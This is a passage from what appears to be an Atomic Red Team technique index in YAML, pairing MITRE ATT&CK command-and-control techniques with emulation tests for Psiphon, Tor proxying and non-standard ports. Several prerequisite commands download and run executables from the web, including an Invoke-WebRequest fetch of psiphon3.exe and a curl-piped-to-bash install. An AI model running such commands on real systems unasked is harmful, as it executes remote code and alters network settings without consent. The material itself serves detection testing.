        for recently registered names or for rarely visited domains.'
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1102:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Anastasios Pingios
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--830c9528-df21-472c-8c14-a036bf17d665
      type: attack-pattern
      created: '2017-05-31T21:31:13.915Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1102
        url: https://attack.mitre.org/techniques/T1102
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      modified: '2021-04-29T14:49:39.188Z'
      name: Web Service
      description: |-
        Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

        Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: 'Host data that can relate unknown or suspicious process
        activity using a network connection is important to supplement any existing
        indicators of compromise based on malware command and control signatures and
        infrastructure or the presence of strong encryption. Packet capture analysis
        will require SSL/TLS inspection if data is encrypted. Analyze network data
        for uncommon data flows (e.g., a client sending significantly more data than
        it receives from a server). User behavior monitoring may help to detect abnormal
        patterns of activity.(Citation: University of Birmingham C2)'
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1568.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1
      type: attack-pattern
      created: '2020-03-11T14:56:34.154Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1568.003
        url: https://attack.mitre.org/techniques/T1568/003
      - url: http://www.crowdstrike.com/blog/whois-numbered-panda/
        description: Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved
          January 14, 2016.
        source_name: Meyers Numbered Panda
      - url: https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html
        description: Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September
          3). Darwin’s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.
        source_name: Moran 2014
      - source_name: Rapid7G20Espionage
        description: Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage
          Operations. Retrieved March 6, 2017.
        url: https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/
      modified: '2021-04-29T14:49:39.188Z'
      name: DNS Calculation
      description: |-
        Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)

        One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: Detection for this technique is difficult because it would
        require knowledge of the specific implementation of the port calculation algorithm.
        Detection may be possible by analyzing DNS records if the algorithm is known.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1104:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91
      type: attack-pattern
      created: '2017-05-31T21:31:15.935Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1104
        external_id: T1104
      modified: '2021-04-29T14:49:39.188Z'
      name: Multi-Stage Channels
      description: |-
        Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.

        Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

        The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: Host data that can relate unknown or suspicious process activity
        using a network connection is important to supplement any existing indicators
        of compromise based on malware command and control signatures and infrastructure.
        Relating subsequent actions that may result from Discovery of the system and
        network information or Lateral Movement to the originating process may also
        yield useful data.
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1205.001:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd
      type: attack-pattern
      created: '2020-07-01T18:23:25.002Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1205.001
        url: https://attack.mitre.org/techniques/T1205/001
      - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
          backdoor. Retrieved October 13, 2018.'
        source_name: Hartrell cd00r 2002
      modified: '2022-05-11T14:00:00.188Z'
      name: Port Knocking
      description: |-
        Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

        This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

        The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: Record network packets sent to and from the system, looking
        for extraneous packets that do not belong to established flows.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1071.002:
    technique:
      modified: '2024-01-18T17:23:22.591Z'
      name: File Transfer Protocols
      description: "Adversaries may communicate using application layer protocols
        associated with transferring files to avoid detection/network filtering by
        blending in with existing traffic. Commands to the remote system, and often
        the results of those commands, will be embedded within the protocol traffic
        between the client and server. \n\nProtocols such as SMB(Citation: US-CERT
        TA18-074A), FTP(Citation: ESET Machete July 2019), FTPS, and TFTP that transfer
        files may be very common in environments.  Packets produced from these protocols
        may have many fields and headers in which data can be concealed. Data could
        also be concealed within the transferred files. An adversary may abuse these
        protocols to communicate with systems under their control within a victim
        network while also mimicking normal, expected traffic. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_deprecated: false
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect application
        layer protocols that do not follow the expected protocol for the port that
        is being used.(Citation: University of Birmingham C2)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      type: attack-pattern
      id: attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b
      created: '2020-03-15T16:16:25.763Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1071/002
        external_id: T1071.002
      - source_name: ESET Machete July 2019
        description: ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government
          institutions under attack. Retrieved September 13, 2019.
        url: https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      - source_name: US-CERT TA18-074A
        description: 'US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government
          Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors.
          Retrieved June 6, 2018.'
        url: https://www.us-cert.gov/ncas/alerts/TA18-074A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1102.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8
      type: attack-pattern
      created: '2020-03-14T22:45:52.963Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1102.003
        url: https://attack.mitre.org/techniques/T1102/003
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      modified: '2021-04-29T14:49:39.188Z'
      name: One-Way Communication
      description: |-
        Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.

        Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: 'Host data that can relate unknown or suspicious process
        activity using a network connection is important to supplement any existing
        indicators of compromise based on malware command and control signatures and
        infrastructure or the presence of strong encryption. Packet capture analysis
        will require SSL/TLS inspection if data is encrypted. Analyze network data
        for uncommon data flows. User behavior monitoring may help to detect abnormal
        patterns of activity.(Citation: University of Birmingham C2)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1090.003:
    technique:
      modified: '2024-04-19T13:24:36.872Z'
      name: 'Proxy: Multi-hop Proxy'
      description: |-
        Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.

        For example, adversaries may construct or use onion routing networks – such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing)

        In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN).  Protocols such as ICMP may be used as a transport.

        Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_contributors:
      - Eduardo Chavarro Ovalle
      x_mitre_deprecated: false
      x_mitre_detection: |-
        When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.

        In context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers.  Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization.  Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted.  Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      type: attack-pattern
      id: attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d
      created: '2020-03-14T23:23:41.770Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1090/003
        external_id: T1090.003
      - source_name: NGLite Trojan
        description: Robert Falcone, Jeff White, and Peter Renals. (2021, November
          7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers
          Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February
          8, 2024.
        url: https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/
      - source_name: Onion Routing
        description: Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.
        url: https://en.wikipedia.org/wiki/Onion_routing
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1090.003
    atomic_tests:
    - name: Psiphon
      auto_generated_guid: 14d55ca0-920e-4b44-8425-37eedd72b173
      description: |
        Psiphon 3 is a circumvention tool from Psiphon Inc. that utilizes VPN, SSH and HTTP Proxy technology to provide you
        with uncensored access to Internet.
        This process will launch Psiphon 3 and establish a connection. Shortly after it will be shut down via process kill commands.
        More information can be found about Psiphon using the following urls
        http://s3.amazonaws.com/0ubz-2q11-gi9y/en.html
        https://psiphon.ca/faq.html
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'The proxy settings backup file must exist on disk at $env:Temp\proxy-backup.txt

          '
        prereq_command: 'if (Test-Path $env:Temp\proxy-backup.txt) {exit 0} else {exit
          1}

          '
        get_prereq_command: |
          if(-not (test-path $env:Temp\proxy-backup.txt)){
          $Proxy = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -Name "ProxyServer" -ErrorAction Ignore).ProxyServer
          Set-Content $env:Temp\proxy-backup.txt $Proxy}
      - description: 'The Psiphon executable must exist in the Downloads folder

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\psiphon3.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: "New-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\"
          -ErrorAction ignore -Force | Out-Null\nInvoke-WebRequest \"https://s3.amazonaws.com/0ubz-2q11-gi9y/psiphon3.exe\"
          -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\psiphon3.exe\" \n"
      - description: "Batch file containing commands to run must be in src directory
          \n"
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\T1090.003\src\Psiphon.bat")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\T1090.003\src\" -ErrorAction ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1090.003/src/Psiphon.bat" -OutFile "PathToAtomicsFolder\T1090.003\src\Psiphon.bat"
      executor:
        name: powershell
        command: '& "PathToAtomicsFolder\T1090.003\src\Psiphon.bat"

          '
        cleanup_command: "$Proxy = Get-Content $env:Temp\\proxy-backup.txt -ErrorAction
          Ignore\nif($null -ne $Proxy) \n{Set-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet
          Settings' -Name \"ProxyServer\" -Value $Proxy}\n"
    - name: Tor Proxy Usage - Windows
      auto_generated_guid: 7b9d85e5-c4ce-4434-8060-d3de83595e69
      description: "This test is designed to launch the tor proxy service, which is
        what is utilized in the background by the Tor Browser and other applications
        with add-ons in order to provide onion routing functionality.\nUpon successful
        execution, the tor proxy will be launched, run for 60 seconds, and then exit.
        \n"
      supported_platforms:
      - windows
      input_arguments:
        TorExe:
          description: Location of tor.exe file.
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\tor\Tor\tor.exe
      dependency_executor_name: powershell
      dependencies:
      - description: "tor.exe must be installed on the machine \n"
        prereq_command: 'if (Test-Path "#{TorExe}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://archive.torproject.org/tor-package-archive/torbrowser/11.0.6/tor-win32-0.4.6.9.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\tor.zip"
          expand-archive -LiteralPath "PathToAtomicsFolder\..\ExternalPayloads\tor.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\tor"
      executor:
        command: |
          invoke-expression 'cmd /c start powershell -Command {cmd /c "#{TorExe}"}'
          sleep -s 60
          stop-process -name "tor" | out-null
        name: powershell
        elevation_required: false
    - name: Tor Proxy Usage - Debian/Ubuntu/FreeBSD
      auto_generated_guid: 5ff9d047-6e9c-4357-b39b-5cf89d9b59c7
      description: "This test is designed to launch the tor proxy service, which is
        what is utilized in the background by the Tor Browser and other applications
        with add-ons in order to provide onion routing functionality.\nUpon successful
        execution, the tor proxy service will be launched. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: "Tor must be installed on the machine \n"
        prereq_command: 'if [ -x "$(command -v tor --version)" ]; then exit 0; else
          exit 1; fi

          '
        get_prereq_command: "(which apt && sudo apt-get -y install tor) || (which
          pkg && pkg install -y tor)\n"
      executor:
        command: '[ "$(uname)" = ''FreeBSD'' ] && sysrc tor_enable="YES" && service
          tor start || sudo systemctl start tor

          '
        cleanup_command: '[ "$(uname)" = ''FreeBSD'' ] && service tor stop && sysrc
          -x tor_enable || sudo systemctl stop tor

          '
        name: sh
        elevation_required: true
    - name: Tor Proxy Usage - MacOS
      auto_generated_guid: 12631354-fdbc-4164-92be-402527e748da
      description: "This test is designed to launch the tor proxy service, which is
        what is utilized in the background by the Tor Browser and other applications
        with add-ons in order to provide onion routing functionality.\nUpon successful
        execution, the tor proxy service will be launched. \n"
      supported_platforms:
      - macos
      dependency_executor_name: sh
      dependencies:
      - description: "Tor must be installed on the machine \n"
        prereq_command: 'if [ -x "$(command -v tor --version)" ]; then exit 0; else
          exit 1; fi

          '
        get_prereq_command: |
          if [ ! -x "$(command -v brew --version)" ]; then /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh keystroke return)"; fi
          brew install tor
      executor:
        command: 'osascript -e ''tell application "Terminal" to do script "tor"''

          '
        cleanup_command: 'killall tor > /dev/null 2>&1

          '
        name: sh
  T1001:
    technique:
      modified: '2024-02-02T19:04:35.389Z'
      name: Data Obfuscation
      description: 'Adversaries may obfuscate command and control traffic to make
        it more difficult to detect.(Citation: Bitdefender FunnyDream Campaign November
        2020) Command and control (C2) communications are hidden (but not necessarily
        encrypted) in an attempt to make the content more difficult to discover or
        decipher and to make the communication less conspicuous and hide commands
        from being seen. This encompasses many methods, such as adding junk data to
        protocol traffic, using steganography, or impersonating legitimate protocols. '
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_deprecated: false
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842
      created: '2017-05-31T21:30:18.931Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1001
        external_id: T1001
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      - source_name: Bitdefender FunnyDream Campaign November 2020
        description: Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting
          South Eastern Asian Government Institutions. Retrieved September 19, 2022.
        url: https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1571:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: Non-Standard Port
      description: |-
        Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.

        Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: 'Analyze packet contents to detect communications that do
        not follow the expected protocol behavior for the port that is being used.
        Analyze network data for uncommon data flows (e.g., a client sending significantly
        more data than it receives from a server). Processes utilizing the network
        that do not normally have network communication or have never been seen before
        are suspicious.(Citation: University of Birmingham C2)'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18
      created: '2020-03-14T18:18:32.443Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1571
        external_id: T1571
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      - source_name: Symantec Elfin Mar 2019
        description: 'Security Response attack Investigation Team. (2019, March 27).
          Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi
          Arabia and U.S.. Retrieved April 10, 2019.'
        url: https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
      - source_name: change_rdp_port_conti
        description: 'The DFIR Report. (2022, March 1). "Change RDP port" #ContiLeaks.
          Retrieved March 1, 2022.'
        url: https://twitter.com/TheDFIRReport/status/1498657772254240768
      - source_name: Fortinet Agent Tesla April 2018
        description: Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware
          Variant. Retrieved November 5, 2018.
        url: https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1571
    atomic_tests:
    - name: Testing usage of uncommonly used port with PowerShell
      auto_generated_guid: 21fe622f-8e53-4b31-ba83-6d333c2583f4
      description: |
        Testing uncommonly used port utilizing PowerShell. APT33 has been known to attempt telnet over port 8081. Upon execution, details about the successful
        port check will be displayed.
      supported_platforms:
      - windows
      input_arguments:
        port:
          description: Specify uncommon port number
          type: string
          default: '8081'
        domain:
          description: Specify target hostname
          type: string
          default: google.com
      executor:
        command: 'Test-NetConnection -ComputerName #{domain} -port #{port}

          '
        name: powershell
    - name: Testing usage of uncommonly used port
      auto_generated_guid: 5db21e1d-dd9c-4a50-b885-b1e748912767
      description: 'Testing uncommonly used port utilizing telnet.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        port:
          description: Specify uncommon port number
          type: string
          default: '8081'
        domain:
          description: Specify target hostname
          type: string
          default: google.com
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires telnet

          '
        prereq_command: 'which telnet

          '
        get_prereq_command: 'echo "please install telnet to run this test"; exit 1

          '
      executor:
        command: |
          echo quit | telnet #{domain} #{port}
          exit 0
        name: sh
  T1573:
    technique:
      modified: '2024-04-16T12:29:47.903Z'
      name: Encrypted Channel
      description: Adversaries may employ an encryption algorithm to conceal command
        and control traffic rather than relying on any inherent protections provided
        by a communication protocol. Despite the use of a secure algorithm, these
        implementations may be vulnerable to reverse engineering if secret keys are
        encoded and/or generated within malware samples/configuration files.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_deprecated: false
      x_mitre_detection: |-
